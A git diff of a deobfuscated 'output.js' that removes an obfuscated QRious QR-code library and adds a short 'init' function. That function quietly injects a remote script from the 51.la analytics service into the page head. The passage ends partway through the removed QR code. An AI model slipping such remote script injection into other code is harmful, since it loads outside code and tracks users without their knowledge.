diff --git a/output.js b/output.js
index 94a7f45..398d042 100644
--- a/output.js
+++ b/output.js
@@ -1,49625 +1,216 @@
-//Sat Apr 19 2025 09:32:58 GMT+0000 (Coordinated Universal Time)
+//Tue Apr 22 2025 13:30:04 GMT+0000 (Coordinated Universal Time)
//Base:https://github.com/echo094/decode-js
//Modify:https://github.com/smallfawn/decode_action
-!function (_0x563089, _0x2534e4) {
- "object" == typeof exports && "undefined" != typeof module ? module.exports = _0x2534e4() : "function" == typeof define && define.amd ? define(_0x2534e4) : _0x563089.QRious = _0x2534e4();
-}(this, function () {
- "use strict";
-
- function _0x36cd3d(_0x3f87a8, _0x2814c9) {
- var _0x54bb2d;
- "function" == typeof Object.create ? _0x54bb2d = Object.create(_0x3f87a8) : (_0x11ca2f.prototype = _0x3f87a8, _0x54bb2d = new _0x11ca2f(), _0x11ca2f.prototype = null);
- _0x2814c9 && _0x302373(true, _0x54bb2d, _0x2814c9);
- return _0x54bb2d;
+const init = () => {
+ let _0x2ed1e6 = true;
+ if (!window.statistics) try {
+ {
+ window.statistics = true;
+ let _0x181022 = document.createElement("script");
+ _0x181022.type = "text/javascript";
+ if (_0x181022.readyState) {
+ _0x181022.onreadystatechange = function () {
+ (_0x181022.readyState === "loaded" || _0x181022.readyState === "complete") && (_0x181022.onreadystatechange = null);
+ };
+ } else _0x181022.onload = function () {};
+ _0x181022.src = "https://js.users.51.la/21904755.js";
+ document.getElementsByTagName("head")[0].appendChild(_0x181022);
+ }
+ } catch (_0x35bedb) {
+ console.log(_0x35bedb);
+ console.log("请求51拉失败");
+ _0x2ed1e6 = false;
}
- function _0x2e3f35(_0x3f58bd, _0x325cbd, _0x4cf736, _0x2da976) {
- var _0x1a1a6f = this;
- "string" != typeof _0x3f58bd && (_0x2da976 = _0x4cf736, _0x4cf736 = _0x325cbd, _0x325cbd = _0x3f58bd, _0x3f58bd = null);
- "function" != typeof _0x325cbd && (_0x2da976 = _0x4cf736, _0x4cf736 = _0x325cbd, _0x325cbd = function () {
- return _0x1a1a6f.apply(this, arguments);
- });
- _0x302373(false, _0x325cbd, _0x1a1a6f, _0x2da976);
- _0x325cbd.prototype = _0x36cd3d(_0x1a1a6f.prototype, _0x4cf736);
- _0x325cbd.prototype.constructor = _0x325cbd;
- _0x325cbd.class_ = _0x3f58bd || _0x1a1a6f.class_;
- _0x325cbd.super_ = _0x1a1a6f;
- return _0x325cbd;
- }
- function _0x302373(_0x58f1c2, _0x392ee2, _0x2f5933) {
- for (var _0x4da036, _0x233a94, _0x363d3c = 0, _0x5badb2 = (_0x2f5933 = _0x5a5006.call(arguments, 2)).length; _0x363d3c < _0x5badb2; _0x363d3c++) {
- _0x233a94 = _0x2f5933[_0x363d3c];
- for (_0x4da036 in _0x233a94) _0x58f1c2 && !_0x5e4b11.call(_0x233a94, _0x4da036) || (_0x392ee2[_0x4da036] = _0x233a94[_0x4da036]);
- }
- }
- function _0xb1b875() {}
- var _0x11ca2f = function () {};
- var _0x5e4b11 = Object.prototype.hasOwnProperty;
- var _0x5a5006 = Array.prototype.slice;
- var _0x2c81f8 = _0x2e3f35;
- _0xb1b875.class_ = "Nevis";
- _0xb1b875.super_ = Object;
- _0xb1b875.extend = _0x2c81f8;
- var _0x3d6831 = _0xb1b875;
- var _0x449f92 = _0x3d6831.extend(function (_0x380016, _0x46957d, _0x496f99) {
- this.qrious = _0x380016;
- this.element = _0x46957d;
- this.element.qrious = _0x380016;
- this.enabled = Boolean(_0x496f99);
- }, {
- draw: function (_0x4663c6) {},
- getElement: function () {
- this.enabled || (this.enabled = true, this.render());
- return this.element;
- },
- getModuleSize: function (_0x27d4e6) {
- var _0x491214 = this.qrious;
- var _0xece596 = _0x491214.padding || 0;
- var _0x3383a6 = Math.floor((_0x491214.size - 2 * _0xece596) / _0x27d4e6.width);
- return Math.max(1, _0x3383a6);
- },
- getOffset: function (_0x4059a0) {
- var _0x26a6a1 = this.qrious;
- var _0x49f861 = _0x26a6a1.padding;
- if (null != _0x49f861) {
- return _0x49f861;
- }
- var _0x23199d = this.getModuleSize(_0x4059a0);
- var _0x410fdd = Math.floor((_0x26a6a1.size - _0x23199d * _0x4059a0.width) / 2);
- return Math.max(0, _0x410fdd);
- },
- render: function (_0x541d14) {
- this.enabled && (this.resize(), this.reset(), this.draw(_0x541d14));
- },
- reset: function () {},
- resize: function () {}
- });
- var _0x3e585a = _0x449f92.extend({
- draw: function (_0x9d2f13) {
- var _0x5e6f87;
- var _0x2dc24c;
- var _0x5a6e85 = this.qrious;
- var _0x5d1631 = this.getModuleSize(_0x9d2f13);
- var _0x1bf80e = this.getOffset(_0x9d2f13);
- var _0x491028 = this.element.getContext("2d");
- for (_0x491028.fillStyle = _0x5a6e85.foreground, _0x491028.globalAlpha = _0x5a6e85.foregroundAlpha, _0x5e6f87 = 0; _0x5e6f87 < _0x9d2f13.width; _0x5e6f87++) {
- for (_0x2dc24c = 0; _0x2dc24c < _0x9d2f13.width; _0x2dc24c++) {
- _0x9d2f13.buffer[_0x2dc24c * _0x9d2f13.width + _0x5e6f87] && _0x491028.fillRect(_0x5d1631 * _0x5e6f87 + _0x1bf80e, _0x5d1631 * _0x2dc24c + _0x1bf80e, _0x5d1631, _0x5d1631);
- }
- }
- },
- reset: function () {
- var _0x572edf = this.qrious;
- var _0x438396 = this.element.getContext("2d");
- var _0x1fd3ca = _0x572edf.size;
- _0x438396.lineWidth = 1;
- _0x438396.clearRect(0, 0, _0x1fd3ca, _0x1fd3ca);
- _0x438396.fillStyle = _0x572edf.background;
- _0x438396.globalAlpha = _0x572edf.backgroundAlpha;
- _0x438396.fillRect(0, 0, _0x1fd3ca, _0x1fd3ca);
- },
- resize: function () {
- var _0x45af0e = this.element;
- _0x45af0e.width = _0x45af0e.height = this.qrious.size;
- }
- });
- var _0xc7e102 = _0x3d6831.extend(null, {
- BLOCK: [0, 11, 15, 19, 23, 27, 31, 16, 18, 20, 22, 24, 26, 28, 20, 22, 24, 24, 26, 28, 28, 22, 24, 24, 26, 26, 28, 28, 24, 24, 26, 26, 26, 28, 28, 24, 26, 26, 26, 28, 28]
- });
- var _0x1eb888 = _0x3d6831.extend(null, {
- BLOCKS: [1, 0, 19, 7, 1, 0, 16, 10, 1, 0, 13, 13, 1, 0, 9, 17, 1, 0, 34, 10, 1, 0, 28, 16, 1, 0, 22, 22, 1, 0, 16, 28, 1, 0, 55, 15, 1, 0, 44, 26, 2, 0, 17, 18, 2, 0, 13, 22, 1, 0, 80, 20, 2, 0, 32, 18, 2, 0, 24, 26, 4, 0, 9, 16, 1, 0, 108, 26, 2, 0, 43, 24, 2, 2, 15, 18, 2, 2, 11, 22, 2, 0, 68, 18, 4, 0, 27, 16, 4, 0, 19, 24, 4, 0, 15, 28, 2, 0, 78, 20, 4, 0, 31, 18, 2, 4, 14, 18, 4, 1, 13, 26, 2, 0, 97, 24, 2, 2, 38, 22, 4, 2, 18, 22, 4, 2, 14, 26, 2, 0, 116, 30, 3, 2, 36, 22, 4, 4, 16, 20, 4, 4, 12, 24, 2, 2, 68, 18, 4, 1, 43, 26, 6, 2, 19, 24, 6, 2, 15, 28, 4, 0, 81, 20, 1, 4, 50, 30, 4, 4, 22, 28, 3, 8, 12, 24, 2, 2, 92, 24, 6, 2, 36, 22, 4, 6, 20, 26, 7, 4, 14, 28, 4, 0, 107, 26, 8, 1, 37, 22, 8, 4, 20, 24, 12, 4, 11, 22, 3, 1, 115, 30, 4, 5, 40, 24, 11, 5, 16, 20, 11, 5, 12, 24, 5, 1, 87, 22, 5, 5, 41, 24, 5, 7, 24, 30, 11, 7, 12, 24, 5, 1, 98, 24, 7, 3, 45, 28, 15, 2, 19, 24, 3, 13, 15, 30, 1, 5, 107, 28, 10, 1, 46, 28, 1, 15, 22, 28, 2, 17, 14, 28, 5, 1, 120, 30, 9, 4, 43, 26, 17, 1, 22, 28, 2, 19, 14, 28, 3, 4, 113, 28, 3, 11, 44, 26, 17, 4, 21, 26, 9, 16, 13, 26, 3, 5, 107, 28, 3, 13, 41, 26, 15, 5, 24, 30, 15, 10, 15, 28, 4, 4, 116, 28, 17, 0, 42, 26, 17, 6, 22, 28, 19, 6, 16, 30, 2, 7, 111, 28, 17, 0, 46, 28, 7, 16, 24, 30, 34, 0, 13, 24, 4, 5, 121, 30, 4, 14, 47, 28, 11, 14, 24, 30, 16, 14, 15, 30, 6, 4, 117, 30, 6, 14, 45, 28, 11, 16, 24, 30, 30, 2, 16, 30, 8, 4, 106, 26, 8, 13, 47, 28, 7, 22, 24, 30, 22, 13, 15, 30, 10, 2, 114, 28, 19, 4, 46, 28, 28, 6, 22, 28, 33, 4, 16, 30, 8, 4, 122, 30, 22, 3, 45, 28, 8, 26, 23, 30, 12, 28, 15, 30, 3, 10, 117, 30, 3, 23, 45, 28, 4, 31, 24, 30, 11, 31, 15, 30, 7, 7, 116, 30, 21, 7, 45, 28, 1, 37, 23, 30, 19, 26, 15, 30, 5, 10, 115, 30, 19, 10, 47, 28, 15, 25, 24, 30, 23, 25, 15, 30, 13, 3, 115, 30, 2, 29, 46, 28, 42, 1, 24, 30, 23, 28, 15, 30, 17, 0, 115, 30, 10, 23, 46, 28, 10, 35, 24, 30, 19, 35, 15, 30, 17, 1, 115, 30, 14, 21, 46, 28, 29, 19, 24, 30, 11, 46, 15, 30, 13, 6, 115, 30, 14, 23, 46, 28, 44, 7, 24, 30, 59, 1, 16, 30, 12, 7, 121, 30, 12, 26, 47, 28, 39, 14, 24, 30, 22, 41, 15, 30, 6, 14, 121, 30, 6, 34, 47, 28, 46, 10, 24, 30, 2, 64, 15, 30, 17, 4, 122, 30, 29, 14, 46, 28, 49, 10, 24, 30, 24, 46, 15, 30, 4, 18, 122, 30, 13, 32, 46, 28, 48, 14, 24, 30, 42, 32, 15, 30, 20, 4, 117, 30, 40, 7, 47, 28, 43, 22, 24, 30, 10, 67, 15, 30, 19, 6, 118, 30, 18, 31, 47, 28, 34, 34, 24, 30, 20, 61, 15, 30],
- FINAL_FORMAT: [30660, 29427, 32170, 30877, 26159, 25368, 27713, 26998, 21522, 20773, 24188, 23371, 17913, 16590, 20375, 19104, 13663, 12392, 16177, 14854, 9396, 8579, 11994, 11245, 5769, 5054, 7399, 6608, 1890, 597, 3340, 2107],
- LEVELS: {
- L: 1,
- M: 2,
- Q: 3,
- H: 4
- }
- });
- var _0x369a9e = _0x3d6831.extend(null, {
- EXPONENT: [1, 2, 4, 8, 16, 32, 64, 128, 29, 58, 116, 232, 205, 135, 19, 38, 76, 152, 45, 90, 180, 117, 234, 201, 143, 3, 6, 12, 24, 48, 96, 192, 157, 39, 78, 156, 37, 74, 148, 53, 106, 212, 181, 119, 238, 193, 159, 35, 70, 140, 5, 10, 20, 40, 80, 160, 93, 186, 105, 210, 185, 111, 222, 161, 95, 190, 97, 194, 153, 47, 94, 188, 101, 202, 137, 15, 30, 60, 120, 240, 253, 231, 211, 187, 107, 214, 177, 127, 254, 225, 223, 163, 91, 182, 113, 226, 217, 175, 67, 134, 17, 34, 68, 136, 13, 26, 52, 104, 208, 189, 103, 206, 129, 31, 62, 124, 248, 237, 199, 147, 59, 118, 236, 197, 151, 51, 102, 204, 133, 23, 46, 92, 184, 109, 218, 169, 79, 158, 33, 66, 132, 21, 42, 84, 168, 77, 154, 41, 82, 164, 85, 170, 73, 146, 57, 114, 228, 213, 183, 115, 230, 209, 191, 99, 198, 145, 63, 126, 252, 229, 215, 179, 123, 246, 241, 255, 227, 219, 171, 75, 150, 49, 98, 196, 149, 55, 110, 220, 165, 87, 174, 65, 130, 25, 50, 100, 200, 141, 7, 14, 28, 56, 112, 224, 221, 167, 83, 166, 81, 162, 89, 178, 121, 242, 249, 239, 195, 155, 43, 86, 172, 69, 138, 9, 18, 36, 72, 144, 61, 122, 244, 245, 247, 243, 251, 235, 203, 139, 11, 22, 44, 88, 176, 125, 250, 233, 207, 131, 27, 54, 108, 216, 173, 71, 142, 0],
- LOG: [255, 0, 1, 25, 2, 50, 26, 198, 3, 223, 51, 238, 27, 104, 199, 75, 4, 100, 224, 14, 52, 141, 239, 129, 28, 193, 105, 248, 200, 8, 76, 113, 5, 138, 101, 47, 225, 36, 15, 33, 53, 147, 142, 218, 240, 18, 130, 69, 29, 181, 194, 125, 106, 39, 249, 185, 201, 154, 9, 120, 77, 228, 114, 166, 6, 191, 139, 98, 102, 221, 48, 253, 226, 152, 37, 179, 16, 145, 34, 136, 54, 208, 148, 206, 143, 150, 219, 189, 241, 210, 19, 92, 131, 56, 70, 64, 30, 66, 182, 163, 195, 72, 126, 110, 107, 58, 40, 84, 250, 133, 186, 61, 202, 94, 155, 159, 10, 21, 121, 43, 78, 212, 229, 172, 115, 243, 167, 87, 7, 112, 192, 247, 140, 128, 99, 13, 103, 74, 222, 237, 49, 197, 254, 24, 227, 165, 153, 119, 38, 184, 180, 124, 17, 68, 146, 217, 35, 32, 137, 46, 55, 63, 209, 91, 149, 188, 207, 205, 144, 135, 151, 178, 220, 252, 190, 97, 242, 86, 211, 171, 20, 42, 93, 158, 132, 60, 57, 83, 71, 109, 65, 162, 31, 45, 67, 216, 183, 123, 164, 118, 196, 23, 73, 236, 127, 12, 111, 246, 108, 161, 59, 82, 41, 157, 85, 170, 251, 96, 134, 177, 187, 204, 62, 90, 203, 89, 95, 176, 156, 169, 160, 81, 11, 245, 22, 235, 122, 117, 44, 215, 79, 174, 213, 233, 230, 231, 173, 232, 116, 214, 244, 234, 168, 80, 88, 175]
- });
- var _0xa69f99 = _0x3d6831.extend(null, {
- BLOCK: [3220, 1468, 2713, 1235, 3062, 1890, 2119, 1549, 2344, 2936, 1117, 2583, 1330, 2470, 1667, 2249, 2028, 3780, 481, 4011, 142, 3098, 831, 3445, 592, 2517, 1776, 2234, 1951, 2827, 1070, 2660, 1345, 3177]
- });
- var _0x2c8642 = _0x3d6831.extend(function (_0x2bd1d7) {
- var _0x16fe67;
- var _0xf49776;
- var _0x305fcd;
- var _0x2e6f51;
- var _0x27b243;
- var _0x352b97 = _0x2bd1d7.value.length;
- for (this._badness = [], this._level = _0x1eb888.LEVELS[_0x2bd1d7.level], this._polynomial = [], this._value = _0x2bd1d7.value, this._version = 0, this._stringBuffer = []; this._version < 40 && (this._version++, _0x305fcd = 4 * (this._level - 1) + 16 * (this._version - 1), _0x2e6f51 = _0x1eb888.BLOCKS[_0x305fcd++], _0x27b243 = _0x1eb888.BLOCKS[_0x305fcd++], _0x16fe67 = _0x1eb888.BLOCKS[_0x305fcd++], _0xf49776 = _0x1eb888.BLOCKS[_0x305fcd], _0x305fcd = _0x16fe67 * (_0x2e6f51 + _0x27b243) + _0x27b243 - 3 + (this._version <= 9), !(_0x352b97 <= _0x305fcd));) {}
- this._dataBlock = _0x16fe67;
- this._eccBlock = _0xf49776;
- this._neccBlock1 = _0x2e6f51;
- this._neccBlock2 = _0x27b243;
- this.width = 17 + 4 * this._version;
- var _0x323dc2 = this.width;
- this.buffer = _0x2c8642._createArray(_0x323dc2 * _0x323dc2);
- this._ecc = _0x2c8642._createArray(_0x16fe67 + (_0x16fe67 + _0xf49776) * (_0x2e6f51 + _0x27b243) + _0x27b243);
- this._mask = _0x2c8642._createArray((_0x323dc2 * (_0x323dc2 + 1) + 1) / 2);
- this._insertFinders();
- this._insertAlignments();
- this.buffer[8 + _0x323dc2 * (_0x323dc2 - 8)] = 1;
- this._insertTimingGap();
- this._reverseMask();
- this._insertTimingRowAndColumn();
- this._insertVersion();
- this._syncMask();
- this._convertBitStream(_0x352b97);
- this._calculatePolynomial();
- this._appendEccToData();
- this._interleaveBlocks();
- this._pack();
- this._finish();
- }, {
- _addAlignment: function (_0x19f146, _0x1ac48f) {
- var _0x4493bb;
- var _0xa6547b = this.buffer;
- var _0x309a3f = this.width;
- for (_0xa6547b[_0x19f146 + _0x309a3f * _0x1ac48f] = 1, _0x4493bb = -2; _0x4493bb < 2; _0x4493bb++) {
- _0xa6547b[_0x19f146 + _0x4493bb + _0x309a3f * (_0x1ac48f - 2)] = 1;
- _0xa6547b[_0x19f146 - 2 + _0x309a3f * (_0x1ac48f + _0x4493bb + 1)] = 1;
- _0xa6547b[_0x19f146 + 2 + _0x309a3f * (_0x1ac48f + _0x4493bb)] = 1;
- _0xa6547b[_0x19f146 + _0x4493bb + 1 + _0x309a3f * (_0x1ac48f + 2)] = 1;
- }
- for (_0x4493bb = 0; _0x4493bb < 2; _0x4493bb++) {
- this._setMask(_0x19f146 - 1, _0x1ac48f + _0x4493bb);
- this._setMask(_0x19f146 + 1, _0x1ac48f - _0x4493bb);
- this._setMask(_0x19f146 - _0x4493bb, _0x1ac48f - 1);
- this._setMask(_0x19f146 + _0x4493bb, _0x1ac48f + 1);
- }
- },
- _appendData: function (_0x248356, _0x44ae68, _0x54ccb0, _0x36a4a0) {
- var _0x1e76d6;
- var _0x27c8f4;
- var _0x282d90;
- var _0x137b00 = this._polynomial;
- var _0x437340 = this._stringBuffer;
- for (_0x27c8f4 = 0; _0x27c8f4 < _0x36a4a0; _0x27c8f4++) {
- _0x437340[_0x54ccb0 + _0x27c8f4] = 0;
- }
- for (_0x27c8f4 = 0; _0x27c8f4 < _0x44ae68; _0x27c8f4++) {
- if (255 !== (_0x1e76d6 = _0x369a9e.LOG[_0x437340[_0x248356 + _0x27c8f4] ^ _0x437340[_0x54ccb0]])) {
- for (_0x282d90 = 1; _0x282d90 < _0x36a4a0; _0x282d90++) {
- _0x437340[_0x54ccb0 + _0x282d90 - 1] = _0x437340[_0x54ccb0 + _0x282d90] ^ _0x369a9e.EXPONENT[_0x2c8642._modN(_0x1e76d6 + _0x137b00[_0x36a4a0 - _0x282d90])];
- }
- } else {
- for (_0x282d90 = _0x54ccb0; _0x282d90 < _0x54ccb0 + _0x36a4a0; _0x282d90++) {
- _0x437340[_0x282d90] = _0x437340[_0x282d90 + 1];
- }
- }
- _0x437340[_0x54ccb0 + _0x36a4a0 - 1] = 255 === _0x1e76d6 ? 0 : _0x369a9e.EXPONENT[_0x2c8642._modN(_0x1e76d6 + _0x137b00[0])];
- }
- },
- _appendEccToData: function () {
- var _0x3a5f65;
- var _0x4e7c15 = 0;
- var _0x4114b1 = this._dataBlock;
- var _0xd2c39f = this._calculateMaxLength();
- var _0x23ea04 = this._eccBlock;
- for (_0x3a5f65 = 0; _0x3a5f65 < this._neccBlock1; _0x3a5f65++) {
- this._appendData(_0x4e7c15, _0x4114b1, _0xd2c39f, _0x23ea04);
- _0x4e7c15 += _0x4114b1;
- _0xd2c39f += _0x23ea04;
- }
- for (_0x3a5f65 = 0; _0x3a5f65 < this._neccBlock2; _0x3a5f65++) {
- this._appendData(_0x4e7c15, _0x4114b1 + 1, _0xd2c39f, _0x23ea04);
- _0x4e7c15 += _0x4114b1 + 1;
- _0xd2c39f += _0x23ea04;
- }
- },
- _applyMask: function (_0xe3d046) {
- var _0x143bbc;
- var _0x18009d;
- var _0x41ac90;
- var _0x1a8fba;
- var _0x2f08fb = this.buffer;
- var _0xb4afad = this.width;
- switch (_0xe3d046) {
- case 0:
- for (_0x1a8fba = 0; _0x1a8fba < _0xb4afad; _0x1a8fba++) {
- for (_0x41ac90 = 0; _0x41ac90 < _0xb4afad; _0x41ac90++) {
- _0x41ac90 + _0x1a8fba & 1 || this._isMasked(_0x41ac90, _0x1a8fba) || (_0x2f08fb[_0x41ac90 + _0x1a8fba * _0xb4afad] ^= 1);
- }
- }
- break;
- case 1:
- for (_0x1a8fba = 0; _0x1a8fba < _0xb4afad; _0x1a8fba++) {
- for (_0x41ac90 = 0; _0x41ac90 < _0xb4afad; _0x41ac90++) {
- 1 & _0x1a8fba || this._isMasked(_0x41ac90, _0x1a8fba) || (_0x2f08fb[_0x41ac90 + _0x1a8fba * _0xb4afad] ^= 1);
- }
- }
- break;
- case 2:
- for (_0x1a8fba = 0; _0x1a8fba < _0xb4afad; _0x1a8fba++) {
- for (_0x143bbc = 0, _0x41ac90 = 0; _0x41ac90 < _0xb4afad; _0x41ac90++, _0x143bbc++) {
- 3 === _0x143bbc && (_0x143bbc = 0);
- _0x143bbc || this._isMasked(_0x41ac90, _0x1a8fba) || (_0x2f08fb[_0x41ac90 + _0x1a8fba * _0xb4afad] ^= 1);
- }
- }
- break;
- case 3:
- for (_0x18009d = 0, _0x1a8fba = 0; _0x1a8fba < _0xb4afad; _0x1a8fba++, _0x18009d++) {
- for (3 === _0x18009d && (_0x18009d = 0), _0x143bbc = _0x18009d, _0x41ac90 = 0; _0x41ac90 < _0xb4afad; _0x41ac90++, _0x143bbc++) {
- 3 === _0x143bbc && (_0x143bbc = 0);
- _0x143bbc || this._isMasked(_0x41ac90, _0x1a8fba) || (_0x2f08fb[_0x41ac90 + _0x1a8fba * _0xb4afad] ^= 1);
- }
- }
- break;
- case 4:
- for (_0x1a8fba = 0; _0x1a8fba < _0xb4afad; _0x1a8fba++) {
- for (_0x143bbc = 0, _0x18009d = _0x1a8fba >> 1 & 1, _0x41ac90 = 0; _0x41ac90 < _0xb4afad; _0x41ac90++, _0x143bbc++) {
- 3 === _0x143bbc && (_0x143bbc = 0, _0x18009d = !_0x18009d);
- _0x18009d || this._isMasked(_0x41ac90, _0x1a8fba) || (_0x2f08fb[_0x41ac90 + _0x1a8fba * _0xb4afad] ^= 1);
- }
- }
- break;
- case 5:
- for (_0x18009d = 0, _0x1a8fba = 0; _0x1a8fba < _0xb4afad; _0x1a8fba++, _0x18009d++) {
- for (3 === _0x18009d && (_0x18009d = 0), _0x143bbc = 0, _0x41ac90 = 0; _0x41ac90 < _0xb4afad; _0x41ac90++, _0x143bbc++) {
- 3 === _0x143bbc && (_0x143bbc = 0);
- (_0x41ac90 & _0x1a8fba & 1) + !(!_0x143bbc | !_0x18009d) || this._isMasked(_0x41ac90, _0x1a8fba) || (_0x2f08fb[_0x41ac90 + _0x1a8fba * _0xb4afad] ^= 1);
- }
- }
- break;
- case 6:
- for (_0x18009d = 0, _0x1a8fba = 0; _0x1a8fba < _0xb4afad; _0x1a8fba++, _0x18009d++) {
- for (3 === _0x18009d && (_0x18009d = 0), _0x143bbc = 0, _0x41ac90 = 0; _0x41ac90 < _0xb4afad; _0x41ac90++, _0x143bbc++) {
- 3 === _0x143bbc && (_0x143bbc = 0);
- (_0x41ac90 & _0x1a8fba & 1) + (_0x143bbc && _0x143bbc === _0x18009d) & 1 || this._isMasked(_0x41ac90, _0x1a8fba) || (_0x2f08fb[_0x41ac90 + _0x1a8fba * _0xb4afad] ^= 1);
- }
- }
- break;
- case 7:
- for (_0x18009d = 0, _0x1a8fba = 0; _0x1a8fba < _0xb4afad; _0x1a8fba++, _0x18009d++) {
- for (3 === _0x18009d && (_0x18009d = 0), _0x143bbc = 0, _0x41ac90 = 0; _0x41ac90 < _0xb4afad; _0x41ac90++, _0x143bbc++) {
- 3 === _0x143bbc && (_0x143bbc = 0);
- (_0x143bbc && _0x143bbc === _0x18009d) + (_0x41ac90 + _0x1a8fba & 1) & 1 || this._isMasked(_0x41ac90, _0x1a8fba) || (_0x2f08fb[_0x41ac90 + _0x1a8fba * _0xb4afad] ^= 1);
- }
- }
- }
- },
- _calculateMaxLength: function () {
- return this._dataBlock * (this._neccBlock1 + this._neccBlock2) + this._neccBlock2;
- },
- _calculatePolynomial: function () {
- var _0x2582cf;
- var _0x54ff1b;
- var _0x374c5d = this._eccBlock;
- var _0x122b04 = this._polynomial;
- for (_0x122b04[0] = 1, _0x2582cf = 0; _0x2582cf < _0x374c5d; _0x2582cf++) {
- for (_0x122b04[_0x2582cf + 1] = 1, _0x54ff1b = _0x2582cf; _0x54ff1b > 0; _0x54ff1b--) {
- _0x122b04[_0x54ff1b] = _0x122b04[_0x54ff1b] ? _0x122b04[_0x54ff1b - 1] ^ _0x369a9e.EXPONENT[_0x2c8642._modN(_0x369a9e.LOG[_0x122b04[_0x54ff1b]] + _0x2582cf)] : _0x122b04[_0x54ff1b - 1];
- }
- _0x122b04[0] = _0x369a9e.EXPONENT[_0x2c8642._modN(_0x369a9e.LOG[_0x122b04[0]] + _0x2582cf)];
- }
- for (_0x2582cf = 0; _0x2582cf <= _0x374c5d; _0x2582cf++) {
- _0x122b04[_0x2582cf] = _0x369a9e.LOG[_0x122b04[_0x2582cf]];
- }
- },
- _checkBadness: function () {
- var _0x1a3163;
- var _0x3a0273;
- var _0x1d7c8f;
- var _0xfaa820;
- var _0x57d3c2;
- var _0x2a8b09 = 0;
- var _0x3272ca = this._badness;
- var _0xaee503 = this.buffer;
- var _0x56037f = this.width;
- for (_0x57d3c2 = 0; _0x57d3c2 < _0x56037f - 1; _0x57d3c2++) {
- for (_0xfaa820 = 0; _0xfaa820 < _0x56037f - 1; _0xfaa820++) {
- (_0xaee503[_0xfaa820 + _0x56037f * _0x57d3c2] && _0xaee503[_0xfaa820 + 1 + _0x56037f * _0x57d3c2] && _0xaee503[_0xfaa820 + _0x56037f * (_0x57d3c2 + 1)] && _0xaee503[_0xfaa820 + 1 + _0x56037f * (_0x57d3c2 + 1)] || !(_0xaee503[_0xfaa820 + _0x56037f * _0x57d3c2] || _0xaee503[_0xfaa820 + 1 + _0x56037f * _0x57d3c2] || _0xaee503[_0xfaa820 + _0x56037f * (_0x57d3c2 + 1)] || _0xaee503[_0xfaa820 + 1 + _0x56037f * (_0x57d3c2 + 1)])) && (_0x2a8b09 += _0x2c8642.N2);
- }
- }
- var _0x283290 = 0;
- for (_0x57d3c2 = 0; _0x57d3c2 < _0x56037f; _0x57d3c2++) {
- for (_0x1d7c8f = 0, _0x3272ca[0] = 0, _0x1a3163 = 0, _0xfaa820 = 0; _0xfaa820 < _0x56037f; _0xfaa820++) {
- _0x1a3163 === (_0x3a0273 = _0xaee503[_0xfaa820 + _0x56037f * _0x57d3c2]) ? _0x3272ca[_0x1d7c8f]++ : _0x3272ca[++_0x1d7c8f] = 1;
- _0x283290 += (_0x1a3163 = _0x3a0273) ? 1 : -1;
- }
- _0x2a8b09 += this._getBadness(_0x1d7c8f);
- }
- _0x283290 < 0 && (_0x283290 = -_0x283290);
- var _0x1f8fa4 = 0;
- var _0x1489c8 = _0x283290;
- for (_0x1489c8 += _0x1489c8 << 2, _0x1489c8 <<= 1; _0x1489c8 > _0x56037f * _0x56037f;) {
- _0x1489c8 -= _0x56037f * _0x56037f;
- _0x1f8fa4++;
- }
- for (_0x2a8b09 += _0x1f8fa4 * _0x2c8642.N4, _0xfaa820 = 0; _0xfaa820 < _0x56037f; _0xfaa820++) {
- for (_0x1d7c8f = 0, _0x3272ca[0] = 0, _0x1a3163 = 0, _0x57d3c2 = 0; _0x57d3c2 < _0x56037f; _0x57d3c2++) {
- _0x1a3163 === (_0x3a0273 = _0xaee503[_0xfaa820 + _0x56037f * _0x57d3c2]) ? _0x3272ca[_0x1d7c8f]++ : _0x3272ca[++_0x1d7c8f] = 1;
- _0x1a3163 = _0x3a0273;
- }
- _0x2a8b09 += this._getBadness(_0x1d7c8f);
- }
- return _0x2a8b09;
- },
- _convertBitStream: function (_0x42bb5d) {
- var _0x65d586;
- var _0x3dd7ca;
- var _0x2e78ad = this._ecc;
- var _0x4d899c = this._version;
- for (_0x3dd7ca = 0; _0x3dd7ca < _0x42bb5d; _0x3dd7ca++) {
- _0x2e78ad[_0x3dd7ca] = this._value.charCodeAt(_0x3dd7ca);
- }
- this._stringBuffer = _0x2e78ad.slice();
- var _0x28787c = this._stringBuffer;
- var _0xe55fba = this._calculateMaxLength();
- _0x42bb5d >= _0xe55fba - 2 && (_0x42bb5d = _0xe55fba - 2, _0x4d899c > 9 && _0x42bb5d--);
- var _0x1035e5 = _0x42bb5d;
- if (_0x4d899c > 9) {
- for (_0x28787c[_0x1035e5 + 2] = 0, _0x28787c[_0x1035e5 + 3] = 0; _0x1035e5--;) {
- _0x65d586 = _0x28787c[_0x1035e5];
- _0x28787c[_0x1035e5 + 3] |= 255 & _0x65d586 << 4;
- _0x28787c[_0x1035e5 + 2] = _0x65d586 >> 4;
- }
- _0x28787c[2] |= 255 & _0x42bb5d << 4;
- _0x28787c[1] = _0x42bb5d >> 4;
- _0x28787c[0] = 64 | _0x42bb5d >> 12;
- } else {
- for (_0x28787c[_0x1035e5 + 1] = 0, _0x28787c[_0x1035e5 + 2] = 0; _0x1035e5--;) {
- _0x65d586 = _0x28787c[_0x1035e5];
- _0x28787c[_0x1035e5 + 2] |= 255 & _0x65d586 << 4;
- _0x28787c[_0x1035e5 + 1] = _0x65d586 >> 4;
- }
- _0x28787c[1] |= 255 & _0x42bb5d << 4;
- _0x28787c[0] = 64 | _0x42bb5d >> 4;
- }
- for (_0x1035e5 = _0x42bb5d + 3 - (_0x4d899c < 10); _0x1035e5 < _0xe55fba;) {
- _0x28787c[_0x1035e5++] = 236;
- _0x28787c[_0x1035e5++] = 17;
- }
- },
- _getBadness: function (_0x1622f6) {
- var _0x5bfb8f;
- var _0x377ecb = 0;
- var _0x5e63a5 = this._badness;
- for (_0x5bfb8f = 0; _0x5bfb8f <= _0x1622f6; _0x5bfb8f++) {
- _0x5e63a5[_0x5bfb8f] >= 5 && (_0x377ecb += _0x2c8642.N1 + _0x5e63a5[_0x5bfb8f] - 5);
- }
- for (_0x5bfb8f = 3; _0x5bfb8f < _0x1622f6 - 1; _0x5bfb8f += 2) {
